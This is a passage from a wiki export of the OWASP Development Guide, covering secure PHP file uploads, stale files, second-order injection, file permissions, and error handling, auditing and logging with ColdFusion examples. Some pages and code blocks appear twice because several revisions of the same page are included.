// The mime type of the file if the browser provided this information.

// For example: “image/jpeg “.

$_FILES['testfile']['type']

// The size of the uploaded file in bytes.

$_FILES['testfile']['size']

</pre>

The built in functions is_uploaded_file() and/or move_uploaded_file() should be called with $_FILES['testfile']['tmp_name'] to make sure that the file really was uploaded by HTTP POST. The following example shows a straightforward way of working with uploaded files:

<pre>

if ( is_uploaded_file($_FILES['testfile']['tmp_name']) ) {

// Check if the file size is what we expect (optional)

if ( $_FILES['sImageData']['size'] > 102400 ) {

// The size can not be over 100kB, output error message and exit. ...

}

// Validate the file name and extension based on the original name in $_FILES['testfile']['name'],

// we do not want anyone to be able to upload .php files for example. ...

// Everything is okay so far, move the file with move_uploaded_file

...

}

</pre>

Note: We should always check if a variable in the superglobals arrays is set with isset() before accessing it. I choose not to do that in the above examples because I wanted to keep them as simple as possible.

==Old, unreferenced files ==

It is common for system administrators and developers to use editors and other tools which create temporary old files. If the file extensions or access control permissions change, an attacker may be able to read source or configuration data.

===How to identify if you are vulnerable ===

Check the file system for:

* Temporary files (such as core, ~foo, blah.tmp, and so on) created by editors or crashed programs

* Folders called “backup” “old” or “Copy of …”

* Files with additional extensions, such as foo.php.old

* Temporary folders with intermediate results or cache templates

===How to protect yourself ===

* Use source code control to prevent the need to keep old copies of files around

* Periodically ensure that all files in the web root are actually required

* Ensure that the application’s temporary files are not accessible from the web root

==Second Order Injection ==

If the web application creates a file that is operated on by another process, typically a batch or scheduled process, the second process may be vulnerable to attack. It is a rare application that ensures input to background processes is validated prior to first use.

===How to identify if you are vulnerable ===

* Does the application use background / batch / scheduled processes to work on user supplied data?

* Does this program validate the user input prior to operating on it?

* Does this program communicate with other business significant processes or otherwise approve transactions?

===How to protect yourself ===

* Ensure that all behind the scenes programs check user input prior to operating on it

* Run the application with the least privilege – in particular, the batch application should not require write privileges to any front end files, the network, or similar

* Use inbuilt language or operating system features to curtail the resources and features which the background application may use. For example, batch programs rarely if ever require network access.

* Consider the use of host based intrusion detection systems and anti-virus systems to detect unauthorized file creation.

==Further Reading ==

* Klein, A., ''Insecure Indexing''

http://www.webappsec.org/projects/articles/022805-clean.html

* MySQL world readable log files

http://www.securityfocus.com/advisories/3803

* Oracle 8i and 9i Servlet allows remote file viewing

http://online.securityfocus.com/advisories/3964

==File System ==

Even with an authentication system in place to protect your content, if file permissions are set incorrectly an attacker could browse directly to your application source code or protected documents. The section below gives guidance in setting file system permissions and directories to reduce your risk of exposure.

'''Best Practice'''

'''File Permissions'''

Restrict access of the \CFIDE directory to specific IP address and user group/account.

Remove the \cfdocs directory. Sample applications are installed by default in the cfdocs directory and are accessible to anyone. These applications should never be available on a production server.

Ensure that directory browsing is disabled.

Ensure that proper access controls are set on web application content. The following settings assume a user account called “cfuser” has been created to run the ColdFusion service. In addition, if you are using a directory or operating system authentication service these setting may need to be adjusted.

File types: Scripts (.cfm, .cfml, .cfc, .jsp, and others)

'''ACLs: cfuser (Execute); Administrators (Full)'''

File types: Static content (.txt, .gif, .jpg, .html, .xml)

'''ACLs: cfuser (Read); Administrators (Full)'''

'''File Upload'''

Upload files to a destination outside of the web application directory.

Enable virus scan on the destination directory.

Do not allow user input to specify the destination directory or file name of uploaded documents.

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:File System]]

Error Handling, Auditing and Logging

2009-05-02T11:04:08Z

KirstenS: /* Error Handling and Logging */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

Many industries are required by legal and regulatory requirements to be:

* Auditable – all activities that affect user state or balances are formally tracked

* Traceable – it’s possible to determine where an activity occurs in all tiers of the application

* High integrity – logs cannot be overwritten or tampered with by local or remote users

Well-written applications will dual-purpose logs and activity traces for audit and monitoring, and make it easy to track a transaction without excessive effort or access to the system. They should possess the ability to easily track or identify potential fraud or anomalies end-to-end.

==Environments Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data – All sections should be reviewed, but in particular:

DS11.4 Source data error handling

DS11.8 Data input error handling

==Description ==

Error handling, debug messages, auditing and logging are different aspects of the same topic: how to track events within an application:

==Best practices ==

* Fail safe – do not fail open

* Dual purpose logs

* Audit logs are legally protected – protect them

* Reports and search logs using a read-only copy or complete replica

==Error Handling ==

Error handling takes two forms: structured exception handling and functional error checking. Structured exception handling is always preferred as it is easier to cover 100% of code. Functional languages, such as PHP 4, that do not have exceptions are very hard to cover 100% of all errors. Code that covers 100% of errors is extraordinarily verbose and difficult to read, and can contain subtle bugs and errors in the error handling code itself.

Motivated attackers like to see error messages as they might leak information that leads to further attacks, or may leak privacy related information. Web application error handling is rarely robust enough to survive a penetration test.

Applications should always fail safe. If an application fails to an unknown state, it is likely that an attacker may be able to exploit this indeterminate state to access unauthorized functionality, or worse create, modify or destroy data.

===Fail safe ===

* Inspect the application’s fatal error handler.

* Does it fail safe? If so, how?

* Is the fatal error handler called frequently enough?

* What happens to in-flight transactions and ephemeral data?

===Debug errors ===

* Does production code contain debug error handlers or messages?

* If the language is a scripting language without effective pre-processing or compilation, can the debug flag be turned on in the browser?

* Do the debug messages leak privacy related information, or information that may lead to further successful attack?

===Exception handling ===

* Does the code use structured exception handlers (try {} catch {} etc) or function-based error handling?

* If the code uses function-based error handling, does it check every return value and handle the error appropriately?

* Would fuzz injection against the average interface fail?

===Functional return values ===

Many languages indicate an error condition by return value. E.g.:

<pre>
$query = mysql_query(“SELECT * FROM table WHERE id=4”, $conn);

if ( $query === false ) {

// error

}
</pre>

* Are all functional errors checked? If not, what can go wrong?

==Detailed error messages ==

Detailed error messages provide attackers with a mountain of useful information.

===How to determine if you are vulnerable ===

* Are detailed error messages turned on?

* Do the detailed error messages leak information that may be used to stage a further attack, or leak privacy related information?

* Does the browser cache the error message?

===How to protect yourself ===

Ensure that your application has a “safe mode” to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.

Production code should not be capable of producing debug messages. If it does, debug mode should be triggered by editing a file or configuration option on the server. In particular, debug should not enabled be an option in the application itself.

If the framework or language has a structured exception handler (i.e. try {} catch {}), it should be used in preference to functional error handling.

If the application uses functional error handling, its use must be comprehensive and thorough.

Detailed error messages, such as stack traces or leaking privacy related information, should never be presented to the user. Instead a generic error message should be used. This includes HTTP status response codes (i.e. 404 or 500 Internal Server error).

==Logging ==

===Where to log to? ===

Logs should be written so that the log file attributes are such that only new information can be written (older records cannot be rewritten or deleted). For added security, logs should also be written to a write once / read many device such as a CD-R.

Copies of log files should be made at regular intervals depending on volume and size (daily, weekly, monthly, etc.). A common naming convention should be adopted with regards to logs, making them easier to index. Verification that logging is still actively working is overlooked surprisingly often, and can be accomplished via a simple cron job!

Make sure data is not overwritten.

Log files should be copied and moved to permanent storage and incorporated into the organization's overall backup strategy.

Log files and media should be deleted and disposed of properly and incorporated into an organization's shredding or secure media disposal plan. Reports should be generated on a regular basis, including error reporting and anomaly detection trending.

Be sure to keep logs safe and confidential even when backed up.

===Handling ===

Logs can be fed into real time intrusion detection and performance and system monitoring tools. All logging components should be synced with a timeserver so that all logging can be consolidated effectively without latency errors. This time server should be hardened and should not provide any other services to the network.

No manipulation, no deletion while analyzing.

===General Debugging ===

Logs are useful in reconstructing events after a problem has occurred, security related or not. Event reconstruction can allow a security administrator to determine the full extent of an intruder's activities and expedite the recovery process.

===Forensics evidence ===

Logs may in some cases be needed in legal proceedings to prove wrongdoing. In this case, the actual handling of the log data is crucial.

===Attack detection ===

Logs are often the only record that suspicious behavior is taking place: Therefore logs can sometimes be fed real-time directly into intrusion detection systems.

===Quality of service ===

Repetitive polls can be protocol led so that network outages or server shutdowns get protocolled and the behavior can either be analyzed later on or a responsible person can take immediate actions.

===Proof of validity ===

Application developers sometimes write logs to prove to customers that their applications are behaving as expected.

* Required by law or corporate policies.

* Logs can provide individual accountability in the web application system universe by tracking a user's actions.

It can be corporate policy or local law to be required to (for example) save header information of all application transactions. These logs must then be kept safe and confidential for six months before they can be deleted.

The points from above show all different motivations and result in different requirements and strategies. This means, that before we can implement a logging mechanism into an application or system, we have to know the requirements and their later usage. If we fail in doing so this can lead to unintentional results.

Failure to enable or design the proper event logging mechanisms in the web application may undermine an organization's ability to detect unauthorized access attempts, and the extent to which these attempts may or may not have succeeded. We will look into the most common attack methods, design and implementation errors, as well as the mitigation strategies later on in this chapter.

There is another reason why the logging mechanism must be planned before implementation. In some countries, laws define what kind of personal information is allowed to be not only logged but also analyzed. For example, in Switzerland, companies are not allowed to log personal information of their employees (like what they do on the internet or what they write in their emails). So if a company wants to log a worker's surfing habits, the corporation needs to inform her of their plans in advance.

This leads to the requirement of having anonymized logs or de-personalized logs with the ability to re-personalized them later on if need be. If an unauthorized person has access to (legally) personalized logs, the corporation is acting unlawful. So there can be a few (not only) legal traps that must be kept in mind.

===Logging types ===

Logs can contain different kinds of data. The selection of the data used is normally affected by the motivation leading to the logging. This section contains information about the different types of logging information and the reasons why we could want to log them.

In general, the logging features include appropriate debugging information such as time of event, initiating process or owner of process, and a detailed description of the event. The following are types of system events that can be logged in an application. It depends on the particular application or system and the needs to decide which of these will be used in the logs:

* Reading of data file access and what kind of data is read. This not only allows to see if data was read but also by whom and when.

* Writing of data logs also where and with what mode (append, replace) data was written. This can be used to see if data was overwritten or if a program is writing at all.

* Modification of any data characteristics, including access control permissions or labels, location in database or file system, or data ownership. Administrators can detect if their configurations were changed.

* Administrative functions and changes in configuration regardless of overlap (account management actions, viewing any user's data, enabling or disabling logging, etc.)

* Miscellaneous debugging information that can be enabled or disabled on the fly.

* All authorization attempts (include time) like success/failure, resource or function being authorized, and the user requesting authorization. We can detect password guessing with these logs. These kinds of logs can be fed into an Intrusion Detection system that will detect anomalies.

* Deletion of any data (object). Sometimes applications are required to have some sort of versioning in which the deletion process can be cancelled.

* Network communications (bind, connect, accept, etc.). With this information an Intrusion Detection system can detect port scanning and brute force attacks.

* All authentication events (logging in, logging out, failed logins, etc.) that allow to detect brute force and guessing attacks too.

==Noise ==

Noise is intentionally invoking security errors to fill an error log with entries (noise) that hide the incriminating evidence of a successful intrusion. When the administrator or log parser application reviews the logs, there is every chance that they will summarize the volume of log entries as a denial of service attempt rather than identifying the 'needle in the haystack'.

===How to protect yourself ===

This is difficult since applications usually offer an unimpeded route to functions capable of generating log events. If you can deploy an intelligent device or application component that can shun an attacker after repeated attempts, then that would be beneficial. Failing that, an error log audit tool that can reduce the bulk of the noise, based on repetition of events or originating from the same source for example. It is also useful if the log viewer can display the events in order of severity level, rather than just time based.

==Cover Tracks ==

The top prize in logging mechanism attacks goes to the contender who can delete or manipulate log entries at a granular level, "as though the event never even happened!". Intrusion and deployment of rootkits allows an attacker to utilize specialized tools that may assist or automate the manipulation of known log files. In most cases, log files may only be manipulated by users with root / administrator privileges, or via approved log manipulation applications. As a general rule, logging mechanisms should aim to prevent manipulation at a granular level since an attacker can hide their tracks for a considerable length of time without being detected. Simple question; if you were being compromised by an attacker, would the intrusion be more obvious if your log file was abnormally large or small, or if it appeared like every other day's log?

===How to protect yourself ===

Assign log files the highest security protection, providing reassurance that you always have an effective 'black box' recorder if things go wrong. This includes:

*Applications should not run with Administrator, or root-level privileges. This is the main cause of log file manipulation success since super users typically have full file system access. Assume the worst case scenario and suppose your application is exploited. Would there be any other security layers in place to prevent the application's user privileges from manipulating the log file to cover tracks?

*Ensuring that access privileges protecting the log files are restrictive, reducing the majority of operations against the log file to alter and read.

*Ensuring that log files are assigned object names that are not obvious and stored in a safe location of the file system.

*Writing log files using publicly or formally scrutinized techniques in an attempt to reduce the risk associated with reverse engineering or log file manipulation.

*Writing log files to read-only media (where event log integrity is of critical importance).

*Use of hashing technology to create digital fingerprints. The idea is that if an attacker does manipulate the log file, then the digital fingerprint will not match and an alert generated.

*Use of host-based IDS technology where normal behavioral patterns can be 'set in stone'. Attempts by attackers to update the log file through anything but the normal approved flow would generate an exception and the intrusion can be detected and blocked. This is one security control that can safeguard against simplistic administrator attempts at modifications.

==False Alarms ==

Taking cue from the classic 1966 film "How to Steal a Million", or similarly the fable of Aesop; "The Boy Who Cried Wolf", be wary of repeated false alarms, since this may represent an attacker's actions in trying to fool the security administrator into thinking that the technology is faulty and not to be trusted until it can be fixed.

===How to protect yourself ===

Simply be aware of this type of attack, take every security violation seriously, always get to the bottom of the cause event log errors rather, and don't just dismiss errors unless you can be completely sure that you know it to be a technical problem.

===Denial of Service ===

By repeatedly hitting an application with requests that cause log entries, multiply this by ten thousand, and the result is that you have a large log file and a possible headache for the security administrator. Where log files are configured with a fixed allocation size, then once full, all logging will stop and an attacker has effectively denied service to your logging mechanism. Worse still, if there is no maximum log file size, then an attacker has the ability to completely fill the hard drive partition and potentially deny service to the entire system. This is becoming more of a rarity though with the increasing size of today's hard disks.

===How to protect yourself ===

The main defense against this type of attack are to increase the maximum log file size to a value that is unlikely to be reached, place the log file on a separate partition to that of the operating system or other critical applications and best of all, try to deploy some kind of system monitoring application that can set a threshold against your log file size and/or activity and issue an alert if an attack of this nature is underway.

==Destruction ==

Following the same scenario as the Denial of Service above, if a log file is configured to cycle round overwriting old entries when full, then an attacker has the potential to do the evil deed and then set a log generation script into action in an attempt to eventually overwrite the incriminating log entries, thus destroying them.

If all else fails, then an attacker may simply choose to cover their tracks by purging all log file entries, assuming they have the privileges to perform such actions. This attack would most likely involve calling the log file management program and issuing the command to clear the log, or it may be easier to simply delete the object which is receiving log event updates (in most cases, this object will be locked by the application). This type of attack does make an intrusion obvious assuming that log files are being regularly monitored, and does have a tendency to cause panic as system administrators and managers realize they have nothing upon which to base an investigation on.

===How to protect yourself ===

Following most of the techniques suggested above will provide good protection against this attack. Keep in mind two things:

*Administrative users of the system should be well trained in log file management and review. 'Ad-hoc' clearing of log files is never advised and an archive should always be taken. Too many times a log file is cleared, perhaps to assist in a technical problem, erasing the history of events for possible future investigative purposes.

*An empty security log does not necessarily mean that you should pick up the phone and fly the forensics team in. In some cases, security logging is not turned on by default and it is up to you to make sure that it is. Also, make sure it is logging at the right level of detail and benchmark the errors against an established baseline in order measure what is considered 'normal' activity.

==Audit Trails ==

Audit trails are legally protected in many countries, and should be logged into high integrity destinations to prevent casual and motivated tampering and destruction.

===How to determine if you are vulnerable ===

* Do the logs transit in the clear between the logging host and the destination?

* Do the logs have a HMAC or similar tamper proofing mechanism to prevent change from the time of the logging activity to when it is reviewed?

* Can relevant logs be easily extracted in a legally sound fashion to assist with prosecutions?

===How to protect yourself ===

* Only audit truly important events – you have to keep audit trails for a long time, and debug or informational messages are wasteful

* Log centrally as appropriate and ensure primary audit trails are not kept on vulnerable systems, particularly front end web servers

* Only review copies of the logs, not the actual logs themselves

* Ensure that audit logs are sent to trusted systems

* For highly protected systems, use write-once media or similar to provide trust worthy long term log repositories

* For highly protected systems, ensure there is end-to-end trust in the logging mechanism. World writeable logs, logging agents without credentials (such as SNMP traps, syslog etc) are legally vulnerable to being excluded from prosecution

==Further Reading ==

* Oracle Auditing

http://www.sans.org/atwork/description.php?cid=738 [[category:FIXME|broken link]]

* Sarbanes Oxley for IT security

http://www.securityfocus.com/columnists/322

* Java Logging Overview
http://java.sun.com/javase/6/docs/technotes/guides/logging/overview.html

==Error Handling and Logging ==

All applications have failures – whether they occur during compilation or runtime. Most programming languages will throw runtime exceptions for illegally executing code (e.g. syntax errors) often in the form of cryptic system messages. These failures and resulting system messages can lead to several security risks if not handled properly including; enumeration, buffer attacks, sensitive information disclosure, etc. If an attack occurs it is important that forensics personnel be able to trace the attacker’s tracks via adequate logging.

ColdFusion provides structured exception handling and logging tools. These tools can help developers customize error handling to prevent unwanted disclosure, and provide customized logging for error tracking and audit trails. These tools should be combined with web server, J2EE application server, and operating system tools to create the full system/application security overview.

'''Error Handling'''

Hackers can use the information exposed by error messages. Even missing templates errors (HTTP 404) can expose your server to attacks (e.g. buffer overflow, XSS, etc.). If you enable the Robust Exception Information debugging option, ColdFusion will display:

Physical path of template

URI of template

Line number and line snippet

SQL statement used (if any)

Data source name (if any)

Java stack trace

ColdFusion provides tags and functions for developers to use to customize error handling. Administrators can specify default templates in the ColdFusion Administrator (CFAM) to handle unknown or unhandled exceptions. ColdFusion’s structure exception handling works in the following order:

Template level (ColdFusion templates and components)

ColdFusion exception handling tags: cftry, cfcatch, cfthrow, and cfrethrow

try and catch statements in CFScript

Application level (Application.cfc/cfm)

Specify custom templates for individual exceptions types with the cferror tag

Application.cfc onError method to handle uncaught application exceptions

System level (ColdFusion Administrator settings)

Missing Template Handler execute when a requested ColdFusion template is not found

Site-wide Error Handler executes globally for all unhandled exceptions on the server

'''Best Practices '''

*Do not allow exceptions to go unhandled

*Do not allow any exceptions to reach the browser

*Display custom error pages to users with an email link for feedback

*Do not enable “Robust Exception Information” in production.

*Specify custom pages for ColdFusion to display in each of the following cases:
**When a ColdFusion page is missing (the Missing Template Handler page)
**When an otherwise-unhandled exception error occurs during the processing of a page (the Site-wide Error Handler page)
**You specify these pages on the Settings page in the Server Settings are in the ColdFusion MX Administrator; for more information, see the ColdFusion MX Administrator Help.

*Use the cferror tag to specify ColdFusion pages to handle specific types of errors.

*Use the cftry, cfcatch, cfthrow, and cfrethrow tags to catch and handle exception errors directly on the page where they occur.

*In CFScript, use the try and catch statements to handle exceptions.

*Use the onError event in Application.cfc to handle exception errors that are not handled by try/catch code on the application pages.

'''Logging'''

Log files can help with application debugging and provide audit trails for attack detection. ColdFusion provides several logs for different server functions. It leverages the Apache Log4j libraries for customized logging. It also provides logging tags to assist in application debugging.

The following is a partial list of ColdFusion log files and their descriptions''' '''

{| border=1

|| Log file || Description

|-

|| application.log || Records every ColdFusion MX error reported to a user. Application page errors, including ColdFusion MX syntax, ODBC, and SQL errors, are written to this log file.

|-

|| exception.log || Records stack traces for exceptions that occur in ColdFusion.

|-

|| scheduler.log || Records scheduled events that have been submitted for execution. Indicates whether task submission was initiated and whether it succeeded. Provides the scheduled page URL, the date and time executed, and a task ID.

|-

|| server.log || Records start up messages and errors for ColdFusion MX.

|-

|| customtag.log || Records errors generated in custom tag processing.

|-

|| mail.log || Records errors generated by an SMTP mail server.

|-

|| mailsent.log || Records messages sent by ColdFusion MX.

|-

|| flash.log || Records entries for Macromedia Flash Remoting.

|-

|}

The CFAM contains the Logging Settings and log viewer screens. Administrators can configure the log directory, maximum log file size, and maximum number of archives. It also allows administrators to log slow running pages, CORBA calls, and scheduled task execution. The log viewer allows viewing, filtering, and searching of any log files in the log directory (default is cf_root/logs). Administrators can archive, save, and delete log files as well.

The cflog and cftrace tags allow developers to create customized logging. <cflog> can write custom messages to the Application.log, Scheduler.log, or a custom log file. The custom log file must be in the default log directory – if it does not exist ColdFusion will create it. <cftrace> tracks execution times, logic flow, and variable at the time the tag executes. It records the data in the cftrace.log (in the default logs directory) and can display this info either inline or in the debugging output of the current page request. Use <cflog> to write custom error messages, track user logins, and record user activity to a custom log file. Use <cftrace> to track variables and application state within running requests.

'''Best Practices'''

*Use <cflog> for customized logging

*Incorporate into custom error handling

*Record application specific messages

*Actively monitor and fix errors in ColdFusion’s logs

*Optimize logging settings

*Rotate log files to keep them current

*Keep files size manageable

*Enable logging of slow running pages

*Set the time interval lower than the configured Timeout Request value in the CFAM Settings screen

*Long running page timings are recorded in the server.log

*Use <cftrace> sparingly for audit trails

*Use with inline=“false”

*Use it to track user input – Form and/or URL variables

'''''Best Practices in Action'''''

The following code adds error handling and logging to the dbLogin and logout methods in the code from Authentication section.

<pre>

<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cftry>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>

<cflog text="#getAuthUser()# has logged in!"

type="Information"

file="access"

application="yes">



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfcatch type="database">

<cflog text="Error in dbLogin(). #cfcatch.details#"

type="Error"

log="Application"

application="yes">

<cfset retargs.authenticated="NO">

<cfreturn retargs>

</cfcatch>

</cftry>

<cfreturn retargs>

</cffunction>

<cffunction name="logout" access="remote" output="true">

<cfargument name="logintype" type="string" required="yes">

<cfif isDefined("form.logout")>

<cflogout>

<cfset StructClear(Session)>

<cflog text="#getAuthUser()# has been logged out."

type="Information"

file="access"

application="yes">

<cfif arguments.logintype eq "challenge">

<cfset foo = closeBrowser()>

<cfelse>



<cflocation url="login.cfm">

</cfif>

</cfif>

</cffunction>

<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cftry>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>

<cflog text="#getAuthUser()# has logged in!"

type="Information"

file="access"

application="yes">



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfcatch type="database">

<cflog text="Error in dbLogin(). #cfcatch.details#"

type="Error"

log="Application"

application="yes">

<cfset retargs.authenticated="NO">

<cfreturn retargs>

</cfcatch>

</cftry>

<cfreturn retargs>

</cffunction>

<cffunction name="logout" access="remote" output="true">

<cfargument name="logintype" type="string" required="yes">

<cfif isDefined("form.logout")>

<cflogout>

<cfset StructClear(Session)>

<cflog text="#getAuthUser()# has been logged out."

type="Information"

file="access"

application="yes">

<cfif arguments.logintype eq "challenge">

<cfset foo = closeBrowser()>

<cfelse>



<cflocation url="login.cfm">

</cfif>

</cfif>

</cffunction>

</pre>

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Error Handling]]
[[Category:Logging]]
[[Category:OWASP Logging Project]]

Error Handling, Auditing and Logging

2009-05-02T10:40:15Z

KirstenS: /* Objective */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

Many industries are required by legal and regulatory requirements to be:

* Auditable – all activities that affect user state or balances are formally tracked

* Traceable – it’s possible to determine where an activity occurs in all tiers of the application

* High integrity – logs cannot be overwritten or tampered with by local or remote users

Well-written applications will dual-purpose logs and activity traces for audit and monitoring, and make it easy to track a transaction without excessive effort or access to the system. They should possess the ability to easily track or identify potential fraud or anomalies end-to-end.

==Environments Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data – All sections should be reviewed, but in particular:

DS11.4 Source data error handling

DS11.8 Data input error handling

==Description ==

Error handling, debug messages, auditing and logging are different aspects of the same topic: how to track events within an application:

==Best practices ==

* Fail safe – do not fail open

* Dual purpose logs

* Audit logs are legally protected – protect them

* Reports and search logs using a read-only copy or complete replica

==Error Handling ==

Error handling takes two forms: structured exception handling and functional error checking. Structured exception handling is always preferred as it is easier to cover 100% of code. Functional languages, such as PHP 4, that do not have exceptions are very hard to cover 100% of all errors. Code that covers 100% of errors is extraordinarily verbose and difficult to read, and can contain subtle bugs and errors in the error handling code itself.

Motivated attackers like to see error messages as they might leak information that leads to further attacks, or may leak privacy related information. Web application error handling is rarely robust enough to survive a penetration test.

Applications should always fail safe. If an application fails to an unknown state, it is likely that an attacker may be able to exploit this indeterminate state to access unauthorized functionality, or worse create, modify or destroy data.

===Fail safe ===

* Inspect the application’s fatal error handler.

* Does it fail safe? If so, how?

* Is the fatal error handler called frequently enough?

* What happens to in-flight transactions and ephemeral data?

===Debug errors ===

* Does production code contain debug error handlers or messages?

* If the language is a scripting language without effective pre-processing or compilation, can the debug flag be turned on in the browser?

* Do the debug messages leak privacy related information, or information that may lead to further successful attack?

===Exception handling ===

* Does the code use structured exception handlers (try {} catch {} etc) or function-based error handling?

* If the code uses function-based error handling, does it check every return value and handle the error appropriately?

* Would fuzz injection against the average interface fail?

===Functional return values ===

Many languages indicate an error condition by return value. E.g.:

<pre>
$query = mysql_query(“SELECT * FROM table WHERE id=4”, $conn);

if ( $query === false ) {

// error

}
</pre>

* Are all functional errors checked? If not, what can go wrong?

==Detailed error messages ==

Detailed error messages provide attackers with a mountain of useful information.

===How to determine if you are vulnerable ===

* Are detailed error messages turned on?

* Do the detailed error messages leak information that may be used to stage a further attack, or leak privacy related information?

* Does the browser cache the error message?

===How to protect yourself ===

Ensure that your application has a “safe mode” to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.

Production code should not be capable of producing debug messages. If it does, debug mode should be triggered by editing a file or configuration option on the server. In particular, debug should not enabled be an option in the application itself.

If the framework or language has a structured exception handler (i.e. try {} catch {}), it should be used in preference to functional error handling.

If the application uses functional error handling, its use must be comprehensive and thorough.

Detailed error messages, such as stack traces or leaking privacy related information, should never be presented to the user. Instead a generic error message should be used. This includes HTTP status response codes (i.e. 404 or 500 Internal Server error).

==Logging ==

===Where to log to? ===

Logs should be written so that the log file attributes are such that only new information can be written (older records cannot be rewritten or deleted). For added security, logs should also be written to a write once / read many device such as a CD-R.

Copies of log files should be made at regular intervals depending on volume and size (daily, weekly, monthly, etc.). A common naming convention should be adopted with regards to logs, making them easier to index. Verification that logging is still actively working is overlooked surprisingly often, and can be accomplished via a simple cron job!

Make sure data is not overwritten.

Log files should be copied and moved to permanent storage and incorporated into the organization's overall backup strategy.

Log files and media should be deleted and disposed of properly and incorporated into an organization's shredding or secure media disposal plan. Reports should be generated on a regular basis, including error reporting and anomaly detection trending.

Be sure to keep logs safe and confidential even when backed up.

===Handling ===

Logs can be fed into real time intrusion detection and performance and system monitoring tools. All logging components should be synced with a timeserver so that all logging can be consolidated effectively without latency errors. This time server should be hardened and should not provide any other services to the network.

No manipulation, no deletion while analyzing.

===General Debugging ===

Logs are useful in reconstructing events after a problem has occurred, security related or not. Event reconstruction can allow a security administrator to determine the full extent of an intruder's activities and expedite the recovery process.

===Forensics evidence ===

Logs may in some cases be needed in legal proceedings to prove wrongdoing. In this case, the actual handling of the log data is crucial.

===Attack detection ===

Logs are often the only record that suspicious behavior is taking place: Therefore logs can sometimes be fed real-time directly into intrusion detection systems.

===Quality of service ===

Repetitive polls can be protocol led so that network outages or server shutdowns get protocolled and the behavior can either be analyzed later on or a responsible person can take immediate actions.

===Proof of validity ===

Application developers sometimes write logs to prove to customers that their applications are behaving as expected.

* Required by law or corporate policies.

* Logs can provide individual accountability in the web application system universe by tracking a user's actions.

It can be corporate policy or local law to be required to (for example) save header information of all application transactions. These logs must then be kept safe and confidential for six months before they can be deleted.

The points from above show all different motivations and result in different requirements and strategies. This means, that before we can implement a logging mechanism into an application or system, we have to know the requirements and their later usage. If we fail in doing so this can lead to unintentional results.

Failure to enable or design the proper event logging mechanisms in the web application may undermine an organization's ability to detect unauthorized access attempts, and the extent to which these attempts may or may not have succeeded. We will look into the most common attack methods, design and implementation errors, as well as the mitigation strategies later on in this chapter.

There is another reason why the logging mechanism must be planned before implementation. In some countries, laws define what kind of personal information is allowed to be not only logged but also analyzed. For example, in Switzerland, companies are not allowed to log personal information of their employees (like what they do on the internet or what they write in their emails). So if a company wants to log a worker's surfing habits, the corporation needs to inform her of their plans in advance.

This leads to the requirement of having anonymized logs or de-personalized logs with the ability to re-personalized them later on if need be. If an unauthorized person has access to (legally) personalized logs, the corporation is acting unlawful. So there can be a few (not only) legal traps that must be kept in mind.

===Logging types ===

Logs can contain different kinds of data. The selection of the data used is normally affected by the motivation leading to the logging. This section contains information about the different types of logging information and the reasons why we could want to log them.

In general, the logging features include appropriate debugging information such as time of event, initiating process or owner of process, and a detailed description of the event. The following are types of system events that can be logged in an application. It depends on the particular application or system and the needs to decide which of these will be used in the logs:

* Reading of data file access and what kind of data is read. This not only allows to see if data was read but also by whom and when.

* Writing of data logs also where and with what mode (append, replace) data was written. This can be used to see if data was overwritten or if a program is writing at all.

* Modification of any data characteristics, including access control permissions or labels, location in database or file system, or data ownership. Administrators can detect if their configurations were changed.

* Administrative functions and changes in configuration regardless of overlap (account management actions, viewing any user's data, enabling or disabling logging, etc.)

* Miscellaneous debugging information that can be enabled or disabled on the fly.

* All authorization attempts (include time) like success/failure, resource or function being authorized, and the user requesting authorization. We can detect password guessing with these logs. These kinds of logs can be fed into an Intrusion Detection system that will detect anomalies.

* Deletion of any data (object). Sometimes applications are required to have some sort of versioning in which the deletion process can be cancelled.

* Network communications (bind, connect, accept, etc.). With this information an Intrusion Detection system can detect port scanning and brute force attacks.

* All authentication events (logging in, logging out, failed logins, etc.) that allow to detect brute force and guessing attacks too.

==Noise ==

Noise is intentionally invoking security errors to fill an error log with entries (noise) that hide the incriminating evidence of a successful intrusion. When the administrator or log parser application reviews the logs, there is every chance that they will summarize the volume of log entries as a denial of service attempt rather than identifying the 'needle in the haystack'.

===How to protect yourself ===

This is difficult since applications usually offer an unimpeded route to functions capable of generating log events. If you can deploy an intelligent device or application component that can shun an attacker after repeated attempts, then that would be beneficial. Failing that, an error log audit tool that can reduce the bulk of the noise, based on repetition of events or originating from the same source for example. It is also useful if the log viewer can display the events in order of severity level, rather than just time based.

